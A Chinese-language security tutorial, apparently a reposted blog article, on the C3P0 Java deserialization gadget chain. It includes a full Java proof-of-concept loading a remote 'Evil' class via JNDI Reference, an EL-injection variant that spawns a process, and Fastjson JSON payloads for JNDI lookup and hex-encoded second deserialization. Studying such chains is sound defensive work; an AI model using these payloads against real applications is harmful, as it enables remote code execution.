C3P0反序列化链
C3P0是一个开源的JDBC连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。
即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池(Connection pool)。
ysoserial代码注释中的调用链如下:
com.sun.jndi.rmi.registry.RegistryContext->lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
自下向上的调用,从lookup看着像一个jndi注入,调用链比较短,直接静态审计源码试试。com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
还原connectionPoolDataSource
属性赋值
跟到com.mchange.v2.naming.ReferenceIndirector
的内部类的方法ReferenceSerialized#getObject
,可见是有个jndi,不过仔细查看源码发现contextName其实是不可控的。
看一下com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject
的流程,了解connectionPoolDataSource
属性是怎么序列化的。
先try反序列化connectionPoolDataSource属性,但这个属性connectionPoolDataSource
是ConnectionPoolDataSource类的没有实现 Serializable,并不能反序列化
接着会抛出异常进入catch,产生1个Reference
对象,然后再将他作为ReferenceSerialized
类的属性。
所以说只有reference
属性是可控的。
远程类加载
reference属性可控的话com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject
中还有个点就可以利用了
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
写个自定义类PoolSource实现ConnectionPoolDataSource, Referenceable接口即可
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception {
String className = "Evil";
String url = "http://127.0.0.1:7999/";
PoolBackedDataSource o = new PoolBackedDataSource();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(o, new PoolSource(className, url));
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o0 = (Object)ois.readObject();
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("test", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}
BeanFactory本地工厂类
上面的利用链因为要用到URLClassLoader
,所以在高版本jdk以及不出网的条件下无法利用。
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
这还有一个利用点
很容易想到jndi高版本注入用过的BeanFactory#getObjectInstance
修改一下getReference方法返回的ref对象即可
public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "test=eval"));
ref.add(new StringRefAddr("test", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
return ref;
}
fastjson中的利用
jndi注入
代替JdbcRowSetImpl链使用
com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
还有个jndi的点
这个方法只有一个调用
找调用了 inner() 的setter 方法做跳板。
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
二次反序列化
Fastjson的低版本可用(<= 1.2.47)。
先看poc:
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
跟进com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
这个方法,其在构造方法中调用
该方法自定义了一个监听器重写了vetoableChange
方法
查看重写的vetoableChange
方法,可见监听两个属性名:
-
connectionTesterClassName
属性通过recreateConnectionTester
方法重新实例化一个ConnectionTester
对象也就无法被利用了 -
userOverridesAsString
属性使用C3P0ImplUtils.parseUserOverridesAsString
*来处理NewValue。
截取从 HexAsciiSerializedMap 后的第二位到倒数第二位 中间的hex字符串,可以构造形如HexAsciiSerializedMap:hex_code;
的字符串然后调用
SerializableUtils.fromByteArray
方法进行二次反序列化
接着跟进userOverridesAsString
属性的setter方法,
再到java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
调用链如下:
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object)
java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
参考
https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8文章来源:https://www.toymoban.com/news/detail-490897.html
https://blog.csdn.net/rfrder/article/details/123208761文章来源地址https://www.toymoban.com/news/detail-490897.html
到了这里,关于Javaweb安全——反序列化漏洞-C3P0链的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!